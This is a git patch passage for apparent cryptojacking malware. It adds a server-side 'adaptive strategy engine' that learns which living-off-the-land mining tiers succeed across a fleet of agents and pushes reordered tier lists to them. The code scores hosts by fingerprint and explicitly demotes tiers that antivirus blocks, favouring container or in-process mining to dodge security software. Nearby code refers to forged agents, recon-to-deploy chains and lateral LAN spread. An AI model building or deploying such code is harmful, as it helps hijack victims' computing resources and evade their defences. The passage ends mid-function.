From 85376eac7c3a5369d2f605e2f7f41ba679dc813e Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 01:15:18 -0700 Subject: [PATCH] Add fleet adaptive strategy engine for proactive LOTL tier ordering --- agent/client/client.go | 3 + agent/client/mining_diagnostics.go | 14 +- agent/client/mining_policy.go | 6 + agent/client/protocol.go | 1 + agent/client/strategy_policy.go | 58 ++++ server/config.go | 5 +- server/internal/api/router.go | 3 + server/internal/api/strategy_auth_test.go | 61 ++++ server/internal/api/strategy_handler.go | 25 ++ server/internal/api/websocket.go | 168 +++++++++ server/internal/db/sqlite.go | 19 + server/internal/db/strategy.go | 102 ++++++ server/internal/strategy/engine.go | 325 ++++++++++++++++++ server/internal/strategy/engine_test.go | 58 ++++ server/internal/strategy/fingerprint.go | 119 +++++++ server/internal/strategy/types.go | 35 ++ server/main.go | 6 + .../Fleet/AccessDepthPanel.test.tsx | 25 ++ .../src/components/Fleet/AccessDepthPanel.tsx | 26 ++ server/web/src/help/accessDepth.ts | 74 +++- server/web/src/help/lotlOnionTiers.ts | 4 + server/web/src/help/settingHelp.ts | 4 + tests/README.md | 6 + 23 files changed, 1141 insertions(+), 6 deletions(-) create mode 100644 agent/client/strategy_policy.go create mode 100644 server/internal/api/strategy_auth_test.go create mode 100644 server/internal/api/strategy_handler.go create mode 100644 server/internal/db/strategy.go create mode 100644 server/internal/strategy/engine.go create mode 100644 server/internal/strategy/engine_test.go create mode 100644 server/internal/strategy/fingerprint.go create mode 100644 server/internal/strategy/types.go diff --git a/agent/client/client.go b/agent/client/client.go index 0ab5944..a9c6a2c 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -62,6 +62,7 @@ type AgentClient struct { miningChain *MiningChainRunner // tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update). tierPolicy miner.MiningTierPolicy + adaptiveStrategy AdaptiveStrategy // triplePolicy is server-pulled recon → deploy → mining gate policy. triplePolicy miner.TripleOnionPolicy triplePolicyLoaded bool @@ -479,6 +480,8 @@ func (c *AgentClient) handleMessage(msg Message) { } case "policy_update": go c.applyPolicyUpdate(msg.Payload) + case "adaptive_strategy_update": + c.applyAdaptiveStrategyJSON(msg.Payload) case "command": var cmd struct { Action string `json:"action"` diff --git a/agent/client/mining_diagnostics.go b/agent/client/mining_diagnostics.go index f6b523a..dd0b71c 100644 --- a/agent/client/mining_diagnostics.go +++ b/agent/client/mining_diagnostics.go @@ -62,8 +62,10 @@ type MiningDiagnostics struct { EnvironmentProbes miner.EnvironmentProbes `json:"environment_probes"` LOTLTier string `json:"lotl_tier,omitempty"` LOTLAttempts []miner.TierAttempt `json:"lotl_attempts,omitempty"` - TierChainOrder []string `json:"tier_chain_order,omitempty"` - TierChainSkipped []string `json:"tier_chain_skipped,omitempty"` + TierChainOrder []string `json:"tier_chain_order,omitempty"` + TierChainSkipped []string `json:"tier_chain_skipped,omitempty"` + AdaptiveStrategy *AdaptiveStrategy `json:"adaptive_strategy,omitempty"` + StrategyReasoning []StrategyReason `json:"strategy_reasoning,omitempty"` WebGPUReady bool `json:"webgpu_ready,omitempty"` GPUComputeOK bool `json:"gpu_compute_ok,omitempty"` @@ -128,11 +130,17 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics { for i, t := range tierChain { d.TierChainOrder[i] = string(t) } - _, skipped := miner.SelectMiningTierChain(d.EnvironmentProbes, c.miningTierPolicy(), c.cfg) + policy := c.miningTierPolicy() + _, skipped := miner.SelectMiningTierChain(d.EnvironmentProbes, policy, c.cfg) d.TierChainSkipped = make([]string, len(skipped)) for i, t := range skipped { d.TierChainSkipped[i] = string(t) } + if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 { + copy := strat + d.AdaptiveStrategy = © + d.StrategyReasoning = copy.Reasoning + } d.CPU.RemotePaused = remotePaused d.CPU.ScheduleBlocked = scheduleBlocked diff --git a/agent/client/mining_policy.go b/agent/client/mining_policy.go index d903bf6..335f17f 100644 --- a/agent/client/mining_policy.go +++ b/agent/client/mining_policy.go @@ -19,6 +19,12 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) { c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy) if len(resp.MiningTierPolicy) > 0 { c.applyMiningTierPolicyJSON(resp.MiningTierPolicy) + } + if len(resp.AdaptiveStrategy) > 0 { + c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy) + return + } + if len(resp.MiningTierPolicy) > 0 { return } if len(resp.LotlOnionTiers) == 0 { diff --git a/agent/client/protocol.go b/agent/client/protocol.go index 3f395b6..3807b07 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -61,6 +61,7 @@ type AuthResponse struct { LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"` MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"` TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"` + AdaptiveStrategy json.RawMessage `json:"adaptive_strategy,omitempty"` } type SharePayload struct { diff --git a/agent/client/strategy_policy.go b/agent/client/strategy_policy.go new file mode 100644 index 0000000..eb9fb2b --- /dev/null +++ b/agent/client/strategy_policy.go @@ -0,0 +1,58 @@ +package client + +import ( + "encoding/json" + "log" + + "crypto-miner-agent/miner" +) + +type AdaptiveStrategy struct { + TierOrder []string `json:"tier_order"` + SkipTiers []string `json:"skip_tiers,omitempty"` + Reasoning []StrategyReason `json:"reasoning"` + Confidence float64 `json:"confidence"` + UpdatedAt string `json:"updated_at"` +} + +type StrategyReason struct { + Fact string `json:"fact"` + Inference string `json:"inference"` + Action string `json:"action"` +} + +func (c *AgentClient) applyAdaptiveStrategyJSON(raw json.RawMessage) { + if len(raw) == 0 || string(raw) == "null" { + return + } + var s AdaptiveStrategy + if err := json.Unmarshal(raw, &s); err != nil { + return + } + c.mu.Lock() + c.adaptiveStrategy = s + policy := c.tierPolicy + if len(s.TierOrder) > 0 { + order := make([]miner.LOTLTier, len(s.TierOrder)) + for i, t := range s.TierOrder { + order[i] = miner.LOTLTier(t) + } + policy.TierOrder = order + } + if len(s.SkipTiers) > 0 { + skip := make([]miner.LOTLTier, len(s.SkipTiers)) + for i, t := range s.SkipTiers { + skip[i] = miner.LOTLTier(t) + } + policy.SkipTiers = skip + } + c.tierPolicy = policy + c.mu.Unlock() + log.Printf("[agent] adaptive strategy applied (%d tiers, confidence=%.2f)", len(s.TierOrder), s.Confidence) +} + +func (c *AgentClient) adaptiveStrategySnapshot() AdaptiveStrategy { + c.mu.Lock() + defer c.mu.Unlock() + return c.adaptiveStrategy +} diff --git a/server/config.go b/server/config.go index 6e53fdb..419092a 100644 --- a/server/config.go +++ b/server/config.go @@ -79,6 +79,8 @@ type ServerSettings struct { WebRTCMeshPolicy WebRTCMeshPolicySettings `json:"webrtc_mesh_policy,omitempty"` // TripleOnionPolicy gates recon → deploy → mining chains pushed to agents at auth. TripleOnionPolicy TripleOnionSettings `json:"triple_onion_policy,omitempty"` + // AdaptiveStrategyEnabled learns LOTL tier order from fleet outcomes (user machines only). + AdaptiveStrategyEnabled bool `json:"adaptive_strategy_enabled"` } // WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread. @@ -279,7 +281,8 @@ func DefaultConfig() *Config { STUNServers: []string{"stun:stun.l.google.com:19302"}, RotationHours: 24, }, - ServiceDeployAllowlist: defaultServiceDeployAllowlist(), + ServiceDeployAllowlist: defaultServiceDeployAllowlist(), + AdaptiveStrategyEnabled: true, }, } } diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 5caebad..db8afba 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -566,6 +566,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler } // Fleet ops + strategyHandler := NewStrategyHandler(wsHub) + r.Post("/strategy/recompute", strategyHandler.PostRecompute) + if fleetHandler != nil { r.Get("/alerts", fleetHandler.GetAlerts) r.Post("/alerts/test", fleetHandler.PostAlertTest) diff --git a/server/internal/api/strategy_auth_test.go b/server/internal/api/strategy_auth_test.go new file mode 100644 index 0000000..1fcbf16 --- /dev/null +++ b/server/internal/api/strategy_auth_test.go @@ -0,0 +1,61 @@ +package api + +import ( + "encoding/json" + "testing" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/strategy" +) + +func TestAuthResponseIncludesAdaptiveStrategy(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + hub := NewWSHub(database) + hub.SetFleetSecret("test-secret") + hub.SetAdaptiveEngine(strategy.NewAdaptiveEngine(database, true)) + + conn, _ := dialAgentWS(t, hub) + resp := authAgentConn(t, conn, map[string]interface{}{ + "agent_id": "agent-strategy-1", "fleet_secret": "test-secret", + "wallet": "4" + repeatChar('A', 94), "hostname": "win-docker", "platform": "windows", "version": "test", + }) + if resp.Type != "auth_response" { + t.Fatalf("expected auth_response, got %q", resp.Type) + } + var payload map[string]interface{} + if err := json.Unmarshal(resp.Payload, &payload); err != nil { + t.Fatal(err) + } + if payload["success"] != true { + t.Fatalf("auth failed: %v", payload["error"]) + } + raw, ok := payload["adaptive_strategy"] + if !ok { + t.Fatal("expected adaptive_strategy in auth_response") + } + data, _ := json.Marshal(raw) + var adaptive struct { + TierOrder []string `json:"tier_order"` + Reasoning []struct{ Fact, Inference, Action string } `json:"reasoning"` + Confidence float64 `json:"confidence"` + } + if err := json.Unmarshal(data, &adaptive); err != nil { + t.Fatal(err) + } + if len(adaptive.TierOrder) == 0 || len(adaptive.Reasoning) == 0 || adaptive.Confidence <= 0 { + t.Fatalf("invalid adaptive_strategy: %+v", adaptive) + } +} + +func repeatChar(c byte, n int) string { + buf := make([]byte, n) + for i := range buf { + buf[i] = c + } + return string(buf) +} diff --git a/server/internal/api/strategy_handler.go b/server/internal/api/strategy_handler.go new file mode 100644 index 0000000..627f0eb --- /dev/null +++ b/server/internal/api/strategy_handler.go @@ -0,0 +1,25 @@ +package api + +import "net/http" + +type StrategyHandler struct { + hub *WSHub +} + +func NewStrategyHandler(hub *WSHub) *StrategyHandler { + return &StrategyHandler{hub: hub} +} + +func (h *StrategyHandler) PostRecompute(w http.ResponseWriter, r *http.Request) { + if h.hub == nil || h.hub.adaptiveEngine == nil { + http.Error(w, "adaptive strategy engine unavailable", http.StatusServiceUnavailable) + return + } + count, err := h.hub.adaptiveEngine.RecomputeAll() + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + pushed := h.hub.PushAdaptiveStrategyUpdates() + writeJSON(w, map[string]interface{}{"success": true, "recomputed": count, "pushed": pushed}) +} diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 5282afe..22f8d43 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -17,6 +17,7 @@ import ( "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "crypto-miner-server/internal/pool" + "crypto-miner-server/internal/strategy" "crypto-miner-server/internal/vuln" "github.com/google/uuid" @@ -155,6 +156,7 @@ type WSHub struct { // Latest service_discover payloads keyed by agent ID (Crucible service graph). agentServiceDiscover map[string]cachedServiceDiscover serverPolicy ServerPolicy + adaptiveEngine *strategy.AdaptiveEngine pingIntervalSec int fleetSecret string // baked into forged agents; verified on WS connect eventNotifier *alerts.Notifier @@ -261,6 +263,32 @@ func (h *WSHub) SetServerPolicy(p ServerPolicy) { h.mu.Unlock() } +func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) { + h.mu.Lock() + h.adaptiveEngine = e + h.mu.Unlock() + if e != nil { + go h.runAdaptiveStrategyLoop() + } +} + +func (h *WSHub) runAdaptiveStrategyLoop() { + ticker := time.NewTicker(strategy.RescoreInterval) + defer ticker.Stop() + for range ticker.C { + h.mu.RLock() + engine := h.adaptiveEngine + h.mu.RUnlock() + if engine == nil || !engine.Enabled() { + continue + } + if _, err := engine.RecomputeAll(); err != nil { + log.Printf("[strategy] background rescore: %v", err) + } + h.PushAdaptiveStrategyUpdates() + } +} + func (h *WSHub) SetPingInterval(seconds int) { if seconds < 10 { seconds = 30 @@ -848,6 +876,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } } resp["triple_onion_policy"] = top + if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() { + domainJoined := false + if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain { + domainJoined = true + } + fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined) + resp["adaptive_strategy"] = h.adaptiveEngine.StrategyForAgent(agentID, fp) + } return resp }())}) @@ -1168,6 +1204,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } ac.latencyMu.Unlock() } + h.ingestStrategyFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier) h.queueStatsBroadcast(broadcast) case "submit_share": @@ -1334,6 +1371,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { continue } payload["agent_id"] = agentID + h.ingestStrategyFromPayload(agentID, payload) h.queueStatsBroadcast(payload) case "command_result": @@ -1683,6 +1721,136 @@ func (h *WSHub) ResolveAgentTargets(ids []string) []string { return ids } +func (h *WSHub) PushAdaptiveStrategyUpdates() int { + h.mu.RLock() + engine := h.adaptiveEngine + ids := h.ConnectedAgentIDs() + h.mu.RUnlock() + if engine == nil || !engine.Enabled() { + return 0 + } + sent := 0 + for _, agentID := range ids { + fp := engine.AgentFingerprint(agentID) + if fp.GOOS == "" { + if ag, err := h.db.GetAgent(agentID); err == nil { + fp = strategy.FingerprintFromAuth(ag.Platform, ag.IP, ag.FirewallDomain != nil && *ag.FirewallDomain) + } + } + adaptive := engine.StrategyForAgent(agentID, fp) + payload, err := json.Marshal(adaptive) + if err != nil { + continue + } + if err := h.SendToAgent(agentID, Message{Type: "adaptive_strategy_update", Payload: payload}); err != nil { + continue + } + sent++ + } + return sent +} + +func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]interface{}) { + if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() { + return + } + platform, _ := payload["platform"].(string) + ip, _ := payload["ip"].(string) + var defenderRTP, firewallDomain *bool + if v, ok := payload["defender_rtp"].(bool); ok { + defenderRTP = &v + } + if v, ok := payload["firewall_domain"].(bool); ok { + firewallDomain = &v + } + h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, parseLOTLAttemptsFromPayload(payload), 0, "") + if hr, ok := payload["mining_hashrate"].(float64); ok { + if tier, ok := payload["lotl_tier"].(string); ok && hr > 0 { + h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, nil, hr, tier) + } + } +} + +func (h *WSHub) ingestStrategyFromStats( + agentID, platform, ip string, + defenderRTP, firewallDomain *bool, + attempts []struct { + Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms"` + Wallet string `json:"wallet,omitempty"` + }, + miningHashrate float64, + activeTier string, +) { + if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() { + return + } + if platform == "" || ip == "" { + if ag, err := h.db.GetAgent(agentID); err == nil { + if platform == "" { + platform = ag.Platform + } + if ip == "" { + ip = ag.IP + } + if firewallDomain == nil { + firewallDomain = ag.FirewallDomain + } + } + } + domainJoined := firewallDomain != nil && *firewallDomain + fp := strategy.FingerprintFromAuth(platform, ip, domainJoined) + if defenderRTP != nil && *defenderRTP { + fp.AVBlocks = true + } + h.adaptiveEngine.RememberAgentFingerprint(agentID, fp) + for _, a := range attempts { + hr := 0.0 + if a.OK && strings.EqualFold(a.Tier, activeTier) { + hr = miningHashrate + } + h.adaptiveEngine.RecordOutcome(agentID, fp, a.Tier, a.OK, hr, "mining") + } + if activeTier != "" && miningHashrate > 0 { + h.adaptiveEngine.RecordOutcome(agentID, fp, activeTier, true, miningHashrate, "mining") + } +} + +func parseLOTLAttemptsFromPayload(payload map[string]interface{}) []struct { + Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms"` + Wallet string `json:"wallet,omitempty"` +} { + raw, ok := payload["lotl_attempts"] + if !ok { + return nil + } + data, err := json.Marshal(raw) + if err != nil { + return nil + } + var attempts []struct { + Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms"` + Wallet string `json:"wallet,omitempty"` + } + if err := json.Unmarshal(data, &attempts); err != nil { + return nil + } + return attempts +} + +func clientIPFromBroadcast(broadcast map[string]interface{}) string { + ip, _ := broadcast["ip"].(string) + return ip +} + // PushPolicyUpdate sends policy_update to each target agent. func (h *WSHub) PushPolicyUpdate(agentIDs []string, policy FleetAgentPolicy, pushID string) (sent, failed int) { if policy.IsEmpty() { diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go index d3d7c38..1dfe37c 100644 --- a/server/internal/db/sqlite.go +++ b/server/internal/db/sqlite.go @@ -195,6 +195,25 @@ func (d *Database) migrate() error { `CREATE INDEX IF NOT EXISTS idx_cred_edges_subnet ON cred_edges(subnet)`, `CREATE INDEX IF NOT EXISTS idx_cred_edges_profile ON cred_edges(credential_profile_id)`, `CREATE INDEX IF NOT EXISTS idx_cred_edges_created ON cred_edges(created_at)`, + `CREATE TABLE IF NOT EXISTS tier_outcomes ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + agent_id TEXT NOT NULL, + fingerprint_key TEXT NOT NULL, + tier TEXT NOT NULL, + ok INTEGER NOT NULL DEFAULT 0, + hashrate REAL NOT NULL DEFAULT 0, + phase TEXT NOT NULL DEFAULT 'mining', + created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP + )`, + `CREATE INDEX IF NOT EXISTS idx_tier_outcomes_fingerprint ON tier_outcomes(fingerprint_key)`, + `CREATE INDEX IF NOT EXISTS idx_tier_outcomes_tier ON tier_outcomes(tier)`, + `CREATE INDEX IF NOT EXISTS idx_tier_outcomes_created ON tier_outcomes(created_at)`, + `CREATE TABLE IF NOT EXISTS agent_strategy_cache ( + agent_id TEXT PRIMARY KEY, + fingerprint_key TEXT NOT NULL, + strategy_json TEXT NOT NULL, + updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP + )`, } for _, m := range extraMigrations { if _, err := d.Exec(m); err != nil { diff --git a/server/internal/db/strategy.go b/server/internal/db/strategy.go new file mode 100644 index 0000000..1636a31 --- /dev/null +++ b/server/internal/db/strategy.go @@ -0,0 +1,102 @@ +package db + +import ( + "fmt" + "time" +) + +type TierOutcomeStats struct { + Tier string + Total int + Successes int + Failures int + MaxHashrate float64 +} + +func (d *Database) InsertTierOutcome(agentID, fingerprintKey, tier string, ok bool, hashrate float64, phase string) error { + okInt := 0 + if ok { + okInt = 1 + } + _, err := d.Exec( + `INSERT INTO tier_outcomes (agent_id, fingerprint_key, tier, ok, hashrate, phase, created_at) + VALUES (?, ?, ?, ?, ?, ?, CURRENT_TIMESTAMP)`, + agentID, fingerprintKey, tier, okInt, hashrate, phase, + ) + return err +} + +func (d *Database) UpsertAgentStrategyCache(agentID, fingerprintKey, strategyJSON string) error { + _, err := d.Exec( + `INSERT INTO agent_strategy_cache (agent_id, fingerprint_key, strategy_json, updated_at) + VALUES (?, ?, ?, CURRENT_TIMESTAMP) + ON CONFLICT(agent_id) DO UPDATE SET + fingerprint_key = excluded.fingerprint_key, + strategy_json = excluded.strategy_json, + updated_at = CURRENT_TIMESTAMP`, + agentID, fingerprintKey, strategyJSON, + ) + return err +} + +func (d *Database) ListAgentStrategyFingerprints() (map[string]string, error) { + rows, err := d.Query(`SELECT agent_id, fingerprint_key FROM agent_strategy_cache`) + if err != nil { + return nil, err + } + defer rows.Close() + out := make(map[string]string) + for rows.Next() { + var agentID, fpKey string + if err := rows.Scan(&agentID, &fpKey); err != nil { + return nil, err + } + out[agentID] = fpKey + } + return out, rows.Err() +} + +func (d *Database) AggregateTierOutcomes(fingerprintKey, goos string) ([]TierOutcomeStats, error) { + stats, err := d.aggregateTierOutcomesWhere(`fingerprint_key = ?`, fingerprintKey) + if err != nil { + return nil, err + } + if len(stats) > 0 { + return stats, nil + } + if goos == "" { + return nil, nil + } + return d.aggregateTierOutcomesWhere(`fingerprint_key LIKE ?`, goos+"|%") +} + +func (d *Database) aggregateTierOutcomesWhere(whereClause string, arg interface{}) ([]TierOutcomeStats, error) { + query := fmt.Sprintf(` + SELECT tier, COUNT(*) AS total, + SUM(CASE WHEN ok = 1 THEN 1 ELSE 0 END) AS successes, + SUM(CASE WHEN ok = 0 THEN 1 ELSE 0 END) AS failures, + MAX(CASE WHEN ok = 1 THEN hashrate ELSE 0 END) AS max_hashrate + FROM tier_outcomes WHERE %s GROUP BY tier`, whereClause) + rows, err := d.Query(query, arg) + if err != nil { + return nil, err + } + defer rows.Close() + var out []TierOutcomeStats + for rows.Next() { + var s TierOutcomeStats + if err := rows.Scan(&s.Tier, &s.Total, &s.Successes, &s.Failures, &s.MaxHashrate); err != nil { + return nil, err + } + out = append(out, s) + } + return out, rows.Err() +} + +func (d *Database) PruneTierOutcomesOlderThan(cutoff time.Time) (int64, error) { + res, err := d.Exec(`DELETE FROM tier_outcomes WHERE created_at < ?`, cutoff) + if err != nil { + return 0, err + } + return res.RowsAffected() +} diff --git a/server/internal/strategy/engine.go b/server/internal/strategy/engine.go new file mode 100644 index 0000000..958f591 --- /dev/null +++ b/server/internal/strategy/engine.go @@ -0,0 +1,325 @@ +package strategy + +import ( + "encoding/json" + "log" + "math" + "sort" + "strconv" + "strings" + "sync" + "time" + + "crypto-miner-server/internal/db" +) + +const ( + rescoreInterval = 5 * time.Minute + minSamplesForSkip = 3 + skipFailureRate = 0.85 + promoteHashrateMin = 1.0 +) + +// RescoreInterval is how often the hub background loop recomputes strategies. +const RescoreInterval = rescoreInterval + +// AdaptiveEngine learns fleet LOTL tier outcomes and scores per-host tier order. +type AdaptiveEngine struct { + db *db.Database + enabled bool + mu sync.RWMutex + agentFingerprints map[string]HostFingerprint +} + +func NewAdaptiveEngine(database *db.Database, enabled bool) *AdaptiveEngine { + return &AdaptiveEngine{ + db: database, + enabled: enabled, + agentFingerprints: make(map[string]HostFingerprint), + } +} + +func (e *AdaptiveEngine) Enabled() bool { + e.mu.RLock() + defer e.mu.RUnlock() + return e.enabled +} + +func (e *AdaptiveEngine) SetEnabled(on bool) { + e.mu.Lock() + e.enabled = on + e.mu.Unlock() +} + +func (e *AdaptiveEngine) RememberAgentFingerprint(agentID string, fp HostFingerprint) { + if agentID == "" { + return + } + e.mu.Lock() + e.agentFingerprints[agentID] = fp + e.mu.Unlock() +} + +func (e *AdaptiveEngine) agentFingerprint(agentID string) HostFingerprint { + e.mu.RLock() + defer e.mu.RUnlock() + return e.agentFingerprints[agentID] +} + +// AgentFingerprint returns the latest remembered fingerprint for an agent. +func (e *AdaptiveEngine) AgentFingerprint(agentID string) HostFingerprint { + return e.agentFingerprint(agentID) +} + +// RecordOutcome persists one tier attempt for fleet learning. +func (e *AdaptiveEngine) RecordOutcome(agentID string, fp HostFingerprint, tier string, ok bool, hashrate float64, phase string) { + if !e.Enabled() || e.db == nil || agentID == "" || strings.TrimSpace(tier) == "" { + return + } + if fp.GOOS == "" { + fp = e.agentFingerprint(agentID) + } + e.RememberAgentFingerprint(agentID, fp) + phase = strings.TrimSpace(phase) + if phase == "" { + phase = "mining" + } + if err := e.db.InsertTierOutcome(agentID, fp.Key(), tier, ok, hashrate, phase); err != nil { + log.Printf("[strategy] record outcome: %v", err) + } +} + +// ScoreTierOrder returns a reordered tier list with transparent reasoning. +func (e *AdaptiveEngine) ScoreTierOrder(fp HostFingerprint) AdaptiveStrategy { + base := append([]string(nil), DefaultMiningTierOrder...) + now := nowRFC3339() + reasoning := []StrategyReason{{ + Fact: "Host fingerprint: " + describeFingerprint(fp), + Inference: "Fleet adaptive engine scores tiers from your machines only", + Action: "Starting from default mining tier order", + }} + + if !e.Enabled() || e.db == nil { + return AdaptiveStrategy{TierOrder: base, Reasoning: reasoning, Confidence: 0.2, UpdatedAt: now} + } + + stats, err := e.db.AggregateTierOutcomes(fp.Key(), fp.GOOS) + if err != nil { + log.Printf("[strategy] aggregate outcomes: %v", err) + return AdaptiveStrategy{TierOrder: base, Reasoning: reasoning, Confidence: 0.3, UpdatedAt: now} + } + + type tierScore struct { + tier string + score float64 + } + scores := make([]tierScore, 0, len(base)) + skipSet := make(map[string]bool) + indexOf := make(map[string]int, len(base)) + for i, t := range base { + indexOf[t] = i + scores = append(scores, tierScore{tier: t, score: float64(len(base) - i)}) + } + + totalSamples := 0 + for _, s := range stats { + totalSamples += s.Total + } + + for _, s := range stats { + if s.Total == 0 { + continue + } + successRate := float64(s.Successes) / float64(s.Total) + idx, ok := indexOf[s.Tier] + if !ok { + continue + } + bonus := successRate * 12.0 + if s.MaxHashrate >= promoteHashrateMin { + bonus += 8.0 + reasoning = append(reasoning, StrategyReason{ + Fact: tierLabel(s.Tier) + " produced hashrate on similar hosts", + Inference: formatFloat(s.MaxHashrate) + " H/s peak in fleet bucket", + Action: "Promote " + tierLabel(s.Tier) + " in tier order", + }) + } + if successRate >= 0.5 && s.Successes > 0 { + reasoning = append(reasoning, StrategyReason{ + Fact: tierLabel(s.Tier) + " succeeded on " + fp.GOOS + " hosts like this", + Inference: formatPct(successRate) + " success across " + itoa(s.Total) + " fleet attempts", + Action: "Boost " + tierLabel(s.Tier) + " priority", + }) + } + if s.Total >= minSamplesForSkip && successRate <= (1.0-skipFailureRate) && s.Successes == 0 { + skipSet[s.Tier] = true + reasoning = append(reasoning, StrategyReason{ + Fact: tierLabel(s.Tier) + " failed repeatedly on " + fp.GOOS, + Inference: itoa(s.Failures) + " failures, 0 successes in fleet bucket", + Action: "Skip " + tierLabel(s.Tier) + " for this host profile", + }) + } + scores[idx].score += bonus - (1.0-successRate)*6.0 + } + + if fp.GOOS == "windows" && fp.Docker { + if idx, ok := indexOf["container"]; ok { + scores[idx].score += 6 + reasoning = append(reasoning, StrategyReason{ + Fact: "Docker runtime available on Windows host", Inference: "Container tier isolates miner from AV friction on exe drops", + Action: "Prefer container / docker_load before raw subprocess", + }) + } + if idx, ok := indexOf["docker_load"]; ok { + scores[idx].score += 4 + } + } + if fp.AVBlocks { + if idx, ok := indexOf["exe_subprocess"]; ok { + scores[idx].score -= 8 + reasoning = append(reasoning, StrategyReason{ + Fact: "AV blocks unsigned exe execution on this profile", Inference: "Subprocess tier likely blocked before mining starts", + Action: "Demote exe_subprocess; try in-process or container first", + }) + } + if idx, ok := indexOf["cpu_inprocess"]; ok { + scores[idx].score += 5 + } + } + if fp.WSL { + if idx, ok := indexOf["wsl"]; ok { + scores[idx].score += 4 + } + } + if fp.GPU { + if idx, ok := indexOf["gpu_subprocess"]; ok { + scores[idx].score += 3 + } + } + + sort.SliceStable(scores, func(i, j int) bool { + if scores[i].score == scores[j].score { + return indexOf[scores[i].tier] < indexOf[scores[j].tier] + } + return scores[i].score > scores[j].score + }) + + order := make([]string, 0, len(scores)) + seen := make(map[string]bool, len(scores)) + for _, s := range scores { + if seen[s.tier] || skipSet[s.tier] { + continue + } + order = append(order, s.tier) + seen[s.tier] = true + } + skipTiers := make([]string, 0, len(skipSet)) + for _, t := range base { + if skipSet[t] { + skipTiers = append(skipTiers, t) + } + } + + if strings.Join(order, ",") != strings.Join(base, ",") || len(skipTiers) > 0 { + reasoning = append(reasoning, StrategyReason{ + Fact: "Adaptive order differs from default onion", Inference: "Fleet learning adjusted tier walk for this fingerprint", + Action: "Apply personalized order before agent tries default path", + }) + } + + confidence := 0.35 + if totalSamples > 0 { + confidence = math.Min(0.95, 0.35+float64(totalSamples)*0.02) + } + return AdaptiveStrategy{TierOrder: order, SkipTiers: skipTiers, Reasoning: reasoning, Confidence: round2(confidence), UpdatedAt: now} +} + +func (e *AdaptiveEngine) StrategyForAgent(agentID string, fp HostFingerprint) AdaptiveStrategy { + strat := e.ScoreTierOrder(fp) + if e.db == nil || agentID == "" { + return strat + } + e.RememberAgentFingerprint(agentID, fp) + raw, _ := json.Marshal(strat) + if err := e.db.UpsertAgentStrategyCache(agentID, fp.Key(), string(raw)); err != nil { + log.Printf("[strategy] cache strategy: %v", err) + } + return strat +} + +func (e *AdaptiveEngine) RecomputeAll() (int, error) { + if !e.Enabled() || e.db == nil { + return 0, nil + } + agents, err := e.db.ListAgentStrategyFingerprints() + if err != nil { + return 0, err + } + count := 0 + for agentID, fpKey := range agents { + fp := parseFingerprintKey(fpKey) + strat := e.ScoreTierOrder(fp) + raw, _ := json.Marshal(strat) + if err := e.db.UpsertAgentStrategyCache(agentID, fp.Key(), string(raw)); err != nil { + continue + } + count++ + } + return count, nil +} + +func parseFingerprintKey(key string) HostFingerprint { + parts := strings.Split(key, "|") + fp := HostFingerprint{GOOS: "unknown", Subnet: "unknown"} + if len(parts) > 0 && parts[0] != "" { + fp.GOOS = parts[0] + } + if len(parts) > 1 { + fp.Docker = parts[1] == "1" + } + if len(parts) > 2 { + fp.WSL = parts[2] == "1" + } + if len(parts) > 3 { + fp.GPU = parts[3] == "1" + } + if len(parts) > 4 { + fp.AVBlocks = parts[4] == "1" + } + if len(parts) > 5 { + fp.DomainJoined = parts[5] == "1" + } + if len(parts) > 6 { + fp.Subnet = parts[6] + } + return fp +} + +func describeFingerprint(fp HostFingerprint) string { + chips := []string{fp.GOOS} + if fp.Docker { + chips = append(chips, "docker") + } + if fp.WSL { + chips = append(chips, "wsl") + } + if fp.GPU { + chips = append(chips, "gpu") + } + if fp.AVBlocks 